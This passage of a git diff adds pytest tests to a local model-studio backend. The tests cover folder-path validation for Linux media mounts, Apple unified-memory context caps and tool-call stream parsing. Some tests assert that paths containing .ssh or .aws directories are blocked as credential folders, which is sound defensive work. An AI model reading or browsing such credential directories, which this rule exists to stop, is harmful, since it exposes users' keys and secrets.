+    with pytest.raises(ValueError, match = "Credential or configuration"):
+        scan_folders.add_scan_folder("/run/media/dspofu/nvmeB/.ssh/models")
+
+
+def test_legacy_scan_folder_accepts_linux_run_media_mount(monkeypatch):
+    _stub_linux_path_checks(monkeypatch, studio_db)
+    monkeypatch.setattr(external_media.platform, "system", lambda: "Linux")
+    _stub_legacy_scan_folder_db(monkeypatch)
+    target = "/run/media/dspofu/nvmeB/modelsAI/gguf/qwen3.6"
+
+    row = studio_db.add_scan_folder(target)
+
+    assert row["path"] == target
+
+
+@pytest.mark.parametrize(
+    "target",
+    [
+        "/run",
+        "/run/media",
+        "/run/media/dspofu",
+        "/run/user/1000/models",
+        "/run/systemd/private",
+        "/run/not-media/dspofu/nvmeB",
+    ],
+)
+def test_legacy_scan_folder_keeps_unrelated_run_paths_blocked(monkeypatch, target):
+    _stub_linux_path_checks(monkeypatch, studio_db)
+    monkeypatch.setattr(external_media.platform, "system", lambda: "Linux")
+    _stub_legacy_scan_folder_db(monkeypatch)
+
+    with pytest.raises(ValueError, match = "Path under /run is not allowed"):
+        studio_db.add_scan_folder(target)
+
+
+def test_legacy_scan_folder_keeps_sensitive_dirs_blocked_under_run_media(monkeypatch):
+    _stub_linux_path_checks(monkeypatch, studio_db)
+    monkeypatch.setattr(external_media.platform, "system", lambda: "Linux")
+    _stub_legacy_scan_folder_db(monkeypatch)
+
+    with pytest.raises(ValueError, match = "Credential or configuration"):
+        studio_db.add_scan_folder("/run/media/dspofu/nvmeB/.aws/models")
+
+
+def test_legacy_browse_allowlist_includes_linux_run_media_mounts(monkeypatch, tmp_path):
+    tree = ast.parse((_BACKEND_ROOT / "routes" / "models.py").read_text(encoding = "utf-8"))
+    function_names = {
+        "_build_browse_allowlist",
+        "_browse_relative_parts",
+        "_is_path_inside_allowlist",
+        "_match_browse_child",
+        "_normalize_browse_request_path",
+        "_resolve_browse_target",
+    }
+    functions = [
+        node
+        for node in tree.body
+        if isinstance(node, ast.FunctionDef) and node.name in function_names
+    ]
+    module = ast.Module(body = functions, type_ignores = [])
+    ast.fix_missing_locations(module)
+
+    home = tmp_path / "home"
+    media_root = tmp_path / "run" / "media" / "dspofu" / "nvmeB"
+    model_dir = media_root / "modelsAI" / "gguf" / "qwen3.6"
+    home.mkdir()
+    model_dir.mkdir(parents = True)
+    (media_root / ".ssh").mkdir()
+
+    fake_paths = SimpleNamespace(
+        hf_default_cache_dir = lambda: tmp_path / "missing-default-hf",
+        legacy_hf_cache_dir = lambda: tmp_path / "missing-legacy-hf",
+        well_known_model_dirs = lambda: [],
+        studio_root = lambda: tmp_path / "missing-studio",
+        outputs_root = lambda: tmp_path / "missing-outputs",
+        exports_root = lambda: tmp_path / "missing-exports",
+    )
+    fake_external_media = SimpleNamespace(linux_run_media_mount_roots = lambda: [media_root])
+    fake_studio_db = SimpleNamespace(
+        list_scan_folders = lambda: [],
+        contains_sensitive_path_component = studio_db.contains_sensitive_path_component,
+    )
+    monkeypatch.setitem(sys.modules, "utils.paths", fake_paths)
+    monkeypatch.setitem(sys.modules, "utils.paths.external_media", fake_external_media)
+    monkeypatch.setitem(sys.modules, "storage.studio_db", fake_studio_db)
+
+    ns = {
+        "HTTPException": _HTTPException,
+        "os": os,
+        "Path": Path,
+        "Optional": Optional,
+        "_safe_is_dir": lambda p: Path(p).is_dir(),
+        "_resolve_hf_cache_dir": lambda: tmp_path / "missing-hf",
+        "logger": SimpleNamespace(debug = lambda *_args, **_kwargs: None),
+    }
+    exec(compile(module, "<extracted routes/models.py>", "exec"), ns)
+
+    allowlist = ns["_build_browse_allowlist"]()
+
+    assert media_root.resolve() in allowlist
+    assert ns["_resolve_browse_target"](str(model_dir), allowlist) == model_dir.resolve()
+
+    with pytest.raises(_HTTPException) as exc:
+        ns["_resolve_browse_target"](str(media_root / ".ssh"), allowlist)
+    assert exc.value.status_code == 403
+
+    ssh_root = media_root / ".ssh"
+    with pytest.raises(_HTTPException) as exc_root:
+        ns["_resolve_browse_target"](str(ssh_root), [ssh_root])
+    assert exc_root.value.status_code == 403
diff --git a/studio/backend/tests/test_llama_cpp_context_fit.py b/studio/backend/tests/test_llama_cpp_context_fit.py
index 9866fc4ae1..d3a10df8ca 100644
--- a/studio/backend/tests/test_llama_cpp_context_fit.py
+++ b/studio/backend/tests/test_llama_cpp_context_fit.py
@@ -68,6 +68,7 @@ _httpx_stub.Client = type(
 sys.modules.setdefault("httpx", _httpx_stub)
 
 from core.inference.llama_cpp import (
+    _APPLE_UNIFIED_MEMORY_FRACTION,
     _CTX_FIT_VRAM_FRACTION,
     LlamaCppBackend,
     classify_gpu_offload_lines,
@@ -120,6 +121,8 @@ def _drive(
     kv_per_token_bytes = 325_000,
     can_estimate_kv = True,
     extra_args = None,
+    apple_budget_mib = 0,
+    flat_mtp_reserve = 0.0,
 ):
     """Drive the post-metadata portion of load_model with stubbed inputs.
 
@@ -223,6 +226,32 @@ def _drive(
         gpu_indices, use_fit = inst._select_gpus(model_size, gpus)
         if use_fit and not explicit_ctx:
             effective_ctx = min(FALLBACK_CTX, effective_ctx) if effective_ctx > 0 else FALLBACK_CTX
+    elif apple_budget_mib > 0 and effective_ctx > 0:
+        # Mirrors the Apple unified-memory branch in load_model: flat MTP reserve
+        # off the budget up front (no-op at 0), sparse-KV floors to FALLBACK_CTX,
+        # only auto context shrinks.
+        native_ctx_for_cap = context_length or effective_ctx
+        apple_fit_budget_mib = int(apple_budget_mib * max(0.0, 1.0 - flat_mtp_reserve))
+        if inst._can_estimate_kv():
+            cap = inst._fit_context_to_vram(
+                native_ctx_for_cap,
+                apple_fit_budget_mib,
+                model_size,
+                cache_type_kv,
+                budget_frac = 1.0,
+            )
+            cap_footprint_mib = (model_size + inst._estimate_kv_cache_bytes(cap, cache_type_kv)) / (
+                1024 * 1024
+            )
+            max_available_ctx = (
+                cap
+                if cap_footprint_mib <= apple_fit_budget_mib
+                else min(FALLBACK_CTX, native_ctx_for_cap)
+            )
+        else:
+            max_available_ctx = min(FALLBACK_CTX, native_ctx_for_cap)
+        if not explicit_ctx:
+            effective_ctx = max_available_ctx
 
     return {
         "c_arg": effective_ctx if effective_ctx > 0 else 0,
@@ -704,3 +733,204 @@ def test_select_gpus_reserves_per_device_overhead():
         small, gpus, total_by_idx = totals, per_device_overhead_bytes = gib
     )
     assert a == [0] and b == [0]
+
+
+# ---------------------------------------------------------------------------
+# Apple Silicon unified-memory context cap (#5118, #6529): no discrete GPU on
+# Metal, so the auto context defaulted to native and over-committed unified
+# memory. The fix budgets and caps the auto context (explicit stays verbatim).
+# ---------------------------------------------------------------------------
+
+
+def _force_apple(monkeypatch):
+    import platform as _platform
+    monkeypatch.setattr(_platform, "system", lambda: "Darwin")
+    monkeypatch.setattr(_platform, "machine", lambda: "arm64")
+
+
+def _install_fake_mlx(monkeypatch, working_set_bytes):
+    """Minimal mlx.core stub exposing metal.is_available() and device_info()."""
+    mlx = _types.ModuleType("mlx")
+    mlx_core = _types.ModuleType("mlx.core")
+    mlx_core.metal = _types.SimpleNamespace(is_available = lambda: True)
+    mlx_core.device_info = lambda: {"max_recommended_working_set_size": working_set_bytes}
+    mlx.core = mlx_core
+    monkeypatch.setitem(sys.modules, "mlx", mlx)
+    monkeypatch.setitem(sys.modules, "mlx.core", mlx_core)
+
+
+class TestAppleUnifiedMemoryBudget:
+    def test_zero_off_apple_silicon(self, monkeypatch):
+        import platform as _platform
+
+        monkeypatch.setattr(_platform, "system", lambda: "Linux")
+        monkeypatch.setattr(_platform, "machine", lambda: "x86_64")
+        assert LlamaCppBackend._apple_metal_memory_budget_bytes() == 0
+
+    def test_uses_metal_working_set(self, monkeypatch):
+        _force_apple(monkeypatch)
+        ws = 27 * GIB  # ~recommended working set on a 36 GB Mac
+        _install_fake_mlx(monkeypatch, ws)
+        assert LlamaCppBackend._apple_metal_memory_budget_bytes() == int(
+            ws * _APPLE_UNIFIED_MEMORY_FRACTION
+        )
+
+    def test_falls_back_to_total_ram_without_mlx(self, monkeypatch):
+        _force_apple(monkeypatch)
+        monkeypatch.setitem(sys.modules, "mlx", None)  # import mlx.core -> ImportError
+        fake_psutil = _types.ModuleType("psutil")
+        fake_psutil.virtual_memory = lambda: _types.SimpleNamespace(total = 36 * GIB)
+        monkeypatch.setitem(sys.modules, "psutil", fake_psutil)
+        assert LlamaCppBackend._apple_metal_memory_budget_bytes() == int(
+            36 * GIB * _APPLE_UNIFIED_MEMORY_FRACTION
+        )
+
+    def test_zero_when_no_budget_resolvable(self, monkeypatch):
+        _force_apple(monkeypatch)
+        monkeypatch.setitem(sys.modules, "mlx", None)
+        monkeypatch.setitem(sys.modules, "psutil", None)
+        assert LlamaCppBackend._apple_metal_memory_budget_bytes() == 0
+
+
+class TestAppleContextCap:
+    """The real ``_fit_context_to_vram`` against the reporter's M3 Pro case."""
+
+    def test_caps_native_context_into_unified_budget(self):
+        # ~15.7 GB weights at native 262144 (~16 GB KV) -> ~32 GB on a 36 GB M3
+        # Pro (~23 GB budget); the fit must reduce the context to fit.
+        inst = _make_backend(native_ctx = 262144)
+        inst._can_estimate_kv = lambda: True
+        inst._estimate_kv_cache_bytes = (
+            lambda n, *a, **k: 0 if n <= 0 else int(n * 64_000)  # ~16 GB @ 262144
+        )
+        model_size_fit = int(15.7 * GIB)
+        budget_mib = int(27 * GIB * _APPLE_UNIFIED_MEMORY_FRACTION) // (1024 * 1024)
+
+        # The native footprint over-commits the budget -- this is the bug.
+        native_footprint_mib = (model_size_fit + inst._estimate_kv_cache_bytes(262144)) // (
+            1024 * 1024
+        )
+        assert native_footprint_mib > budget_mib
+
+        capped = inst._fit_context_to_vram(
+            262144, budget_mib, model_size_fit, None, budget_frac = 1.0
+        )
+        assert capped < 262144
+        capped_footprint_mib = (model_size_fit + inst._estimate_kv_cache_bytes(capped)) // (
+            1024 * 1024
+        )
+        assert capped_footprint_mib <= budget_mib
+
+
+class TestAppleBranchEndToEnd:
+    """Drive the Apple elif glue (cap / floor / explicit) via _drive, no GPU."""
+
+    def test_auto_context_capped_below_native(self):
+        plan = _drive(
+            n_ctx = 0,
+            model_gib = 15.7,
+            gpus = [],
+            native_ctx = 262144,
+            kv_per_token_bytes = 64_000,
+            apple_budget_mib = 23_000,  # ~22 GB: weights fit, native KV doesn't
+        )
+        assert 0 < plan["c_arg"] < 262144
+        assert plan["use_fit"] is True  # --fit on still ships as a backstop
+        assert plan["gpu_indices"] is None  # no CUDA device pinning on Metal
+        assert plan["max_available_ctx"] == plan["c_arg"]
+
+    def test_floors_to_fallback_when_weights_exceed_budget(self):
+        # Weights alone exceed budget: ctx can't help, so floor to 4096.
+        plan = _drive(
+            n_ctx = 0,
+            model_gib = 100,
+            gpus = [],
+            native_ctx = 262144,
+            apple_budget_mib = 20_000,
+        )
+        assert plan["c_arg"] == FALLBACK_CTX
+        assert plan["use_fit"] is True
+        assert plan["gpu_indices"] is None
+
+    def test_explicit_context_honored_verbatim(self):
+        # Explicit context is never shrunk, but the UI ceiling still tightens.
+        plan = _drive(
+            n_ctx = 200_000,
+            model_gib = 15.7,
+            gpus = [],
+            native_ctx = 262144,
+            kv_per_token_bytes = 64_000,
+            apple_budget_mib = 23_000,
+        )
+        assert plan["c_arg"] == 200_000  # launch context honored verbatim
+        assert plan["use_fit"] is True
+        # Ceiling reflects the budget so the over-budget warning still fires.
+        assert plan["max_available_ctx"] < 262144
+
+
+class TestAppleMtpFlatReserve:
+    """Apple cap reserves the flat MTP fraction up front (like _pin_fraction) so
+    an unsized MTP draft (Qwen3.6-MTP, #6529) can't over-commit."""
+
+    def test_flat_reserve_keeps_draft_within_budget(self):
+        # No reserve -> cap fills the budget, leaving nothing for the ~5% draft.
+        kw = dict(
+            n_ctx = 0,
+            model_gib = 15.7,
+            gpus = [],
+            native_ctx = 262144,
+            kv_per_token_bytes = 64_000,
+            apple_budget_mib = 23_000,
+        )
+        no_reserve = _drive(**kw, flat_mtp_reserve = 0.0)
+        with_reserve = _drive(**kw, flat_mtp_reserve = 0.05)
+
+        def footprint_mib(ctx):
+            return (15.7 * GIB + ctx * 64_000) / (1024 * 1024)
+
+        # No reserve: main footprint + 5% draft exceeds the budget.
+        assert footprint_mib(no_reserve["c_arg"]) + 0.05 * 23_000 > 23_000
+        # With reserve: the cap is smaller and the full footprint fits.
+        assert with_reserve["c_arg"] < no_reserve["c_arg"]
+        assert footprint_mib(with_reserve["c_arg"]) + 0.05 * 23_000 <= 23_000
+
+    def test_no_reserve_is_a_noop_when_mtp_absent(self):
+        # flat_mtp_reserve == 0 (the common, non-MTP case) must not change the cap.
+        kw = dict(
+            n_ctx = 0,
+            model_gib = 15.7,
+            gpus = [],
+            native_ctx = 262144,
+            kv_per_token_bytes = 64_000,
+            apple_budget_mib = 23_000,
+        )
+        assert _drive(**kw, flat_mtp_reserve = 0.0) == _drive(**kw)
+
+
+class TestAppleNoKvMetadataFloor:
+    """Sparse KV metadata floors the auto context to FALLBACK_CTX (like the
+    discrete file-size-only fallback) instead of launching at native."""
+
+    def test_sparse_kv_floors_auto_context(self):
+        plan = _drive(
+            n_ctx = 0,
+            model_gib = 15.7,
+            gpus = [],
+            native_ctx = 262144,
+            can_estimate_kv = False,
+            apple_budget_mib = 23_000,
+        )
+        assert plan["c_arg"] == FALLBACK_CTX  # not native 262144
+        assert plan["use_fit"] is True
+        assert plan["gpu_indices"] is None
+
+    def test_sparse_kv_still_honors_explicit_context(self):
+        plan = _drive(
+            n_ctx = 100_000,
+            model_gib = 15.7,
+            gpus = [],
+            native_ctx = 262144,
+            can_estimate_kv = False,
+            apple_budget_mib = 23_000,
+        )
+        assert plan["c_arg"] == 100_000  # explicit honored even without KV sizing
diff --git a/studio/backend/tests/test_llama_cpp_props_readback.py b/studio/backend/tests/test_llama_cpp_props_readback.py
index d87c05f2c6..316956325f 100644
--- a/studio/backend/tests/test_llama_cpp_props_readback.py
+++ b/studio/backend/tests/test_llama_cpp_props_readback.py
@@ -113,8 +113,14 @@ def _stub_props(
     body = None,
     exc = None,
 ):
-    def fake_get(url, timeout = None):
+    def fake_get(
+        url,
+        timeout = None,
+        trust_env = None,
+    ):
         assert url.endswith("/props")
+
+        assert trust_env is False
         if exc is not None:
             raise exc
         return _FakeResponse(status_code, body)
diff --git a/studio/backend/tests/test_llama_cpp_start_failure_classification.py b/studio/backend/tests/test_llama_cpp_start_failure_classification.py
index 6b26121cf8..246d810602 100644
--- a/studio/backend/tests/test_llama_cpp_start_failure_classification.py
+++ b/studio/backend/tests/test_llama_cpp_start_failure_classification.py
@@ -140,6 +140,16 @@ class TestOllamaAndFallback:
         msg = _classify("", None, None)
         assert "llama-server failed to start" in msg
 
+    def test_health_timeout_names_probe_not_generic(self):
+        # A live server that never returns 200 on /health must name the probe and
+        # proxy/context causes, not blame a bad GGUF (#5740).
+        msg = _classify(
+            "llama-server health check timed out after 600.0s", "/models/x.gguf", "local/x"
+        )
+        assert "/health" in msg
+        assert "NO_PROXY" in msg
+        assert "GGUF file is valid" not in msg
+
 
 class TestOsKillReturncode:
     """SIGKILL (-9) with no diagnostic output is the OOM killer and gets a named,
diff --git a/studio/backend/tests/test_llama_cpp_tool_loop.py b/studio/backend/tests/test_llama_cpp_tool_loop.py
index 687829980b..fb1b0e52b7 100644
--- a/studio/backend/tests/test_llama_cpp_tool_loop.py
+++ b/studio/backend/tests/test_llama_cpp_tool_loop.py
@@ -20,7 +20,11 @@ _BACKEND_DIR = str(Path(__file__).resolve().parent.parent)
 if _BACKEND_DIR not in sys.path:
     sys.path.insert(0, _BACKEND_DIR)
 
-from core.inference.llama_cpp import _PROVISIONAL_ARGS_MIN_CHARS, LlamaCppBackend
+from core.inference.llama_cpp import (
+    _MAX_REPROMPTS,
+    _PROVISIONAL_ARGS_MIN_CHARS,
+    LlamaCppBackend,
+)
 from state import tool_approvals
 from state.tool_approvals import TOOL_REJECTED_MESSAGE, resolve_tool_decision
 
@@ -77,6 +81,23 @@ def _tool_names(payload: dict) -> list[str]:
     ]
 
 
+def _patch_monotonic(monkeypatch, values: list[float]) -> None:
+    import core.inference.llama_cpp as llama_cpp_mod
+
+    it = iter(values)
+    last = values[-1]
+
+    def fake_monotonic() -> float:
+        nonlocal last
+        try:
+            last = next(it)
+        except StopIteration:
+            pass
+        return last
+
+    monkeypatch.setattr(llama_cpp_mod.time, "monotonic", fake_monotonic)
+
+
 def _structured_tool_call(tool_name: str, arguments: dict, call_id: str) -> list[str]:
     return [
         _sse(
@@ -200,6 +221,80 @@ def test_structured_tool_call_after_visible_preface_is_executed(monkeypatch):
     assert assistant_messages[-1]["tool_calls"][0]["function"]["name"] == "render_html"
 
 
+def test_buffered_reasoning_answer_emits_backend_summary(monkeypatch):
+    stream = [
+        _sse({"reasoning_content": "I am thinking."}),
+        _sse({"reasoning_content": " Still thinking."}),
+        _sse({"content": "Final answer."}),
+        _done(),
+    ]
+    payloads: list[dict] = []
+    backend = _make_backend(monkeypatch, [stream], payloads)
+    _patch_monotonic(monkeypatch, [100.0, 110.0, 172.0, 172.0])
+
+    events = list(
+        backend.generate_chat_completion_with_tools(
+            messages = [{"role": "user", "content": "answer"}],
+            tools = [{"type": "function", "function": {"name": "web_search"}}],
+            max_tool_iterations = 1,
+        )
+    )
+
+    summary_index = next(
+        i for i, event in enumerate(events) if event["type"] == "reasoning_summary"
+    )
+    content_index = next(i for i, event in enumerate(events) if event["type"] == "content")
+    assert summary_index < content_index
+    assert events[summary_index]["duration_ms"] == 62000
+    assert (
+        events[content_index]["text"]
+        == "<think>I am thinking. Still thinking.</think>Final answer."
+    )
+
+
+def test_consumed_tool_final_pass_emits_latest_reasoning_summary(monkeypatch):
+    tool_stream = [
+        _sse({"reasoning_content": "Need a render."}),
+        _sse(
+            {
+                "content": '<tool_call>{"name":"render_html","arguments":{"code":"<html>ok</html>"}}</tool_call>'
+            }
+        ),
+        _done(),
+    ]
+    final_stream = [
+        _sse({"reasoning_content": "Now synthesize."}),
+        _sse({"content": "Final from tool."}),
+        _done(),
+    ]
+    payloads: list[dict] = []
+    backend = _make_backend(monkeypatch, [tool_stream, final_stream], payloads)
+    _patch_monotonic(monkeypatch, [200.0, 201.0, 203.0, 300.0, 400.0, 405.0, 405.0])
+
+    def fake_execute_tool(name, arguments, **_kwargs):
+        return "Rendered HTML canvas: Done."
+
+    monkeypatch.setattr("core.inference.tools.execute_tool", fake_execute_tool)
+
+    events = list(
+        backend.generate_chat_completion_with_tools(
+            messages = [{"role": "user", "content": "render then answer"}],
+            tools = [{"type": "function", "function": {"name": "render_html"}}],
+            max_tool_iterations = 1,
+        )
+    )
+
+    summaries = [event for event in events if event["type"] == "reasoning_summary"]
+    assert [event["duration_ms"] for event in summaries] == [2000, 5000]
+    final_summary_index = events.index(summaries[-1])
+    final_content_index = next(
+        i
+        for i, event in enumerate(events)
+        if event.get("type") == "content" and "Final from tool." in event.get("text", "")
+    )
+    assert final_summary_index < final_content_index
+
+
 def test_repeat_render_html_nudge_is_not_user_visible_error(monkeypatch):
     """A repeated render_html call is an internal no-op, not a visible card."""
 
@@ -945,9 +1040,11 @@ def test_render_html_success_does_not_reprompt_render_html_intent(monkeypatch):
 def test_internal_reprompt_attempts_do_not_duplicate_visible_text(monkeypatch):
     """No-tool re-prompt attempts should not concatenate into the UI."""
 
-    streams = [
-        [_sse({"content": "I will use render_html now."}), _done()],
-        [_sse({"content": "Understood. I will use render_html now."}), _done()],
+    # One initial response plus one stream per re-prompt; derive the count from the shared cap.
+    streams = [[_sse({"content": "I will use render_html now."}), _done()]]
+    streams += [
+        [_sse({"content": "Understood. I will use render_html now."}), _done()]
+        for _ in range(_MAX_REPROMPTS)
     ]
     payloads: list[dict] = []
     backend = _make_backend(monkeypatch, streams, payloads)
@@ -982,7 +1079,7 @@ def test_internal_reprompt_attempts_do_not_duplicate_visible_text(monkeypatch):
 
     content_texts = [event.get("text", "") for event in events if event.get("type") == "content"]
     assert content_texts == ["I will use render_html now."]
-    assert len(payloads) == 2
+    assert len(payloads) == _MAX_REPROMPTS + 1
 
 
 def test_forced_reprompt_plain_final_answer_is_visible(monkeypatch):
@@ -1071,6 +1168,48 @@ def test_internal_reprompt_disabled_when_auto_heal_disabled(monkeypatch):
     assert len(payloads) == 1
 
 
+def test_internal_reprompt_disabled_when_nudge_tool_calls_false(monkeypatch):
+    # Explicit nudge_tool_calls=False disables the plan-without-action
+    # re-prompt even with Auto-Heal on (None keeps the default-on behavior).
+    streams = [[_sse({"content": "I will use render_html now."}), _done()]]
+    payloads: list[dict] = []
+    backend = _make_backend(monkeypatch, streams, payloads)
+
+    def fake_execute_tool(name, arguments, **_kwargs):
+        raise AssertionError(f"unexpected tool execution: {name} {arguments}")
+
+    monkeypatch.setattr("core.inference.tools.execute_tool", fake_execute_tool)
+
+    tools = [
+        {
+            "type": "function",
+            "function": {
+                "name": "render_html",
+                "description": "Render HTML.",
+                "parameters": {
+                    "type": "object",
+                    "properties": {"code": {"type": "string"}},
+                    "required": ["code"],
+                },
+            },
+        }
+    ]
+
+    events = list(
+        backend.generate_chat_completion_with_tools(
+            messages = [{"role": "user", "content": "Make a red square."}],
+            tools = tools,
+            max_tool_iterations = 1,
+            auto_heal_tool_calls = True,
+            nudge_tool_calls = False,
+        )
+    )
+
+    content_texts = [event.get("text", "") for event in events if event.get("type") == "content"]
+    assert content_texts == ["I will use render_html now."]
+    assert len(payloads) == 1
+
+
 def test_auto_heal_disabled_parses_well_formed_xml_when_tools_enabled(monkeypatch):
     streams = [
         [
@@ -1109,6 +1248,66 @@ def test_auto_heal_disabled_parses_well_formed_xml_when_tools_enabled(monkeypatc
     )
 
 
+def test_textual_mistral_marker_not_leaked_when_inline_with_preface(monkeypatch):
+    # Textual Mistral ``[TOOL_CALLS]`` inline with visible preface: the DRAINING flush must use the
+    # shared parser patterns (which know ``[TOOL_CALLS]``); the legacy set leaked the marker to clients.
+    streams = [
+        [_sse({"content": 'Let me search. [TOOL_CALLS]web_search{"query":"cats"}'}), _done()],
+        [_sse({"content": "done"}), _done()],
+    ]
+    payloads: list[dict] = []
+    backend = _make_backend(monkeypatch, streams, payloads)
+    calls: list[tuple[str, dict]] = []
+
+    def fake_execute_tool(name, arguments, **_kwargs):
+        calls.append((name, arguments))
+        return "result"
+
+    monkeypatch.setattr("core.inference.tools.execute_tool", fake_execute_tool)
+
+    events = list(
+        backend.generate_chat_completion_with_tools(
+            messages = [{"role": "user", "content": "search"}],
+            tools = [{"type": "function", "function": {"name": "web_search"}}],
+            max_tool_iterations = 1,
+        )
+    )
+
+    assert calls == [("web_search", {"query": "cats"})]
+    content_texts = [e.get("text", "") for e in events if e.get("type") == "content"]
+    assert all("[TOOL_CALLS]" not in t for t in content_texts), content_texts
+    assert any("Let me search." in t for t in content_texts)
+
+
+def test_textual_llama_python_tag_marker_not_leaked(monkeypatch):
+    # Same leak class for the Llama-3 built-in ``<|python_tag|>NAME.call(...)`` form.
+    streams = [
+        [_sse({"content": '<|python_tag|>web_search.call(query="cats")'}), _done()],
+        [_sse({"content": "done"}), _done()],
+    ]
+    payloads: list[dict] = []
+    backend = _make_backend(monkeypatch, streams, payloads)
+    calls: list[tuple[str, dict]] = []
+
+    def fake_execute_tool(name, arguments, **_kwargs):
+        calls.append((name, arguments))
+        return "result"
+
+    monkeypatch.setattr("core.inference.tools.execute_tool", fake_execute_tool)
+
+    events = list(
+        backend.generate_chat_completion_with_tools(
+            messages = [{"role": "user", "content": "search"}],
+            tools = [{"type": "function", "function": {"name": "web_search"}}],
+            max_tool_iterations = 1,
+        )
+    )
+
+    assert calls == [("web_search", {"query": "cats"})]
+    content_texts = [e.get("text", "") for e in events if e.get("type") == "content"]
+    assert all("<|python_tag|>" not in t for t in content_texts), content_texts
+
+
 def test_reprompted_tool_call_still_streams_final_answer(monkeypatch):
     """Suppression ends once a forced re-prompt actually calls a tool."""
 
@@ -1645,3 +1844,823 @@ def test_empty_tool_call_id_does_not_emit_provisional_card(monkeypatch):
     assert provisional == []
     # The real call still executes despite the missing id.
     assert calls == [("python", {"code": big_code})]
+
+
+def _streamed_content(text: str, frag: int = 4) -> list[str]:
+    """Stream content token-by-token like llama-server; ``frag`` sets the chunk size."""
+    chunks = [_sse({"content": text[i : i + frag]}) for i in range(0, len(text), frag)]
+    chunks.append(_done())
+    return chunks
+
+
+def test_bare_json_tool_call_streamed_is_not_leaked_and_executes(monkeypatch):
+    """A wrapper-less bare-JSON call must be held while incomplete, drained silently, and executed with nothing leaking."""
+
+    bare_call = '{"name": "web_search", "parameters": {"query": "weather in Sydney"}}'
+    first_stream = _streamed_content(bare_call)
+    final_stream = [_sse({"content": "It is sunny in Sydney."}), _done()]
+    payloads: list[dict] = []
+    backend = _make_backend(monkeypatch, [first_stream, final_stream], payloads)
+
+    calls: list[tuple[str, dict]] = []
+
+    def fake_execute_tool(name, arguments, **_kwargs):
+        calls.append((name, arguments))
+        return "Weather: sunny, 22C."
+
+    monkeypatch.setattr("core.inference.tools.execute_tool", fake_execute_tool)
+
+    events = list(
+        backend.generate_chat_completion_with_tools(
+            messages = [{"role": "user", "content": "weather in Sydney?"}],
+            tools = [{"type": "function", "function": {"name": "web_search"}}],
+            max_tool_iterations = 1,
+        )
+    )
+
+    # The tool ran with the parsed arguments.
+    assert calls == [("web_search", {"query": "weather in Sydney"})]
+    assert any(
+        event.get("type") == "tool_end" and event.get("tool_name") == "web_search"
+        for event in events
+    )
+
+    # The bare JSON never leaked to the user-visible stream.
+    content_texts = [e.get("text", "") for e in events if e.get("type") == "content"]
+    assert all('"name"' not in t for t in content_texts), content_texts
+    assert all("web_search" not in t for t in content_texts), content_texts
+    # The post-tool synthesis is still streamed.
+    assert any("sunny in Sydney" in t for t in content_texts), content_texts
+
+
+def test_ordinary_json_with_name_key_is_shown_not_treated_as_tool_call(monkeypatch):
+    """Markerless JSON with a non-enabled name is the answer, not a phantom call."""
+
+    answer = '{"name": "Alice", "parameters": {"age": 30}}'
+    first_stream = _streamed_content(answer)
+    payloads: list[dict] = []
+    backend = _make_backend(monkeypatch, [first_stream], payloads)
+
+    calls: list[tuple[str, dict]] = []
+    monkeypatch.setattr(
+        "core.inference.tools.execute_tool",
+        lambda n, a, **_k: (calls.append((n, a)) or "x"),
+    )
+
+    events = list(
+        backend.generate_chat_completion_with_tools(
+            messages = [{"role": "user", "content": "give me a person record"}],
+            tools = [{"type": "function", "function": {"name": "web_search"}}],
+            max_tool_iterations = 1,
+        )
+    )
+
+    assert calls == [], calls
+    content_texts = [e.get("text", "") for e in events if e.get("type") == "content"]
+    assert any("Alice" in t for t in content_texts), content_texts
+
+
+def test_incomplete_bare_json_truncation_is_not_leaked(monkeypatch):
+    """If generation is cut off mid bare-JSON object (no closing brace), the held
+    fragment must be stripped at stream end rather than dumped to the user."""
+
+    truncated = '{"name": "web_search", "parameters": {"query": "weather in S'
+    stream = _streamed_content(truncated)
+    payloads: list[dict] = []
+    backend = _make_backend(monkeypatch, [stream], payloads)
+
+    monkeypatch.setattr(
+        "core.inference.tools.execute_tool",
+        lambda *_a, **_k: (_ for _ in ()).throw(AssertionError("no complete call")),
+    )
+
+    events = list(
+        backend.generate_chat_completion_with_tools(
+            messages = [{"role": "user", "content": "weather?"}],
+            tools = [{"type": "function", "function": {"name": "web_search"}}],
+            max_tool_iterations = 1,
+        )
+    )
+
+    content_texts = [e.get("text", "") for e in events if e.get("type") == "content"]
+    assert all('{"name"' not in t for t in content_texts), content_texts
+
+
+def test_gguf_truncated_ordinary_json_with_name_key_is_shown_not_suppressed(monkeypatch):
+    """A truncated markerless object whose "name" is NOT an enabled tool (a person
+    record cut off mid-stream, ``{"name":"Alice","age":``) must still be shown. The
+    end-of-stream ``_is_bare_tc`` heuristic routed any ``{...,"name",...}`` fragment
+    to DRAINING (dropped); it is now gated on the enabled tool names so only a real
+    truncated tool call is suppressed, ordinary JSON streams through."""
+
+    truncated = '{"name": "Alice", "age": 30, "bio": "loves '
+    stream = _streamed_content(truncated)
+    payloads: list[dict] = []
+    backend = _make_backend(monkeypatch, [stream], payloads)
+
+    calls: list[tuple[str, dict]] = []
+    monkeypatch.setattr(
+        "core.inference.tools.execute_tool",
+        lambda n, a, **_k: (calls.append((n, a)) or "x"),
+    )
+
+    events = list(
+        backend.generate_chat_completion_with_tools(
+            messages = [{"role": "user", "content": "start a person record"}],
+            tools = [{"type": "function", "function": {"name": "web_search"}}],
+            max_tool_iterations = 1,
+        )
+    )
+
+    assert calls == [], calls
+    content_texts = [e.get("text", "") for e in events if e.get("type") == "content"]
+    assert any("Alice" in t for t in content_texts), content_texts
+
+
+def test_gguf_truncated_disabled_name_json_is_preserved_when_tools_active(monkeypatch):
+    """A truncated JSON answer with a non-enabled name must still be shown (resolvers are gated on enabled names)."""
+
+    truncated = '{"name": "Alice", "parameters": {"age": 30'
+    stream = _streamed_content(truncated)
+    payloads: list[dict] = []
+    backend = _make_backend(monkeypatch, [stream], payloads)
+
+    calls: list[tuple[str, dict]] = []
+    monkeypatch.setattr(
+        "core.inference.tools.execute_tool",
+        lambda n, a, **_k: (calls.append((n, a)) or "x"),
+    )
+
+    events = list(
+        backend.generate_chat_completion_with_tools(
+            messages = [{"role": "user", "content": "give json"}],
+            tools = [{"type": "function", "function": {"name": "web_search"}}],
+            max_tool_iterations = 1,
+        )
+    )
+
+    assert calls == [], calls
+    content_texts = [e.get("text", "") for e in events if e.get("type") == "content"]
+    assert any("Alice" in t for t in content_texts), content_texts
+
+
+def test_gguf_truncated_enabled_name_json_is_still_suppressed(monkeypatch):
+    """Counterpart guard: a truncated ENABLED-tool bare call (``web_search``) cut off
+    mid-JSON still must NOT leak -- the gate only spares disabled / non-tool names."""
+
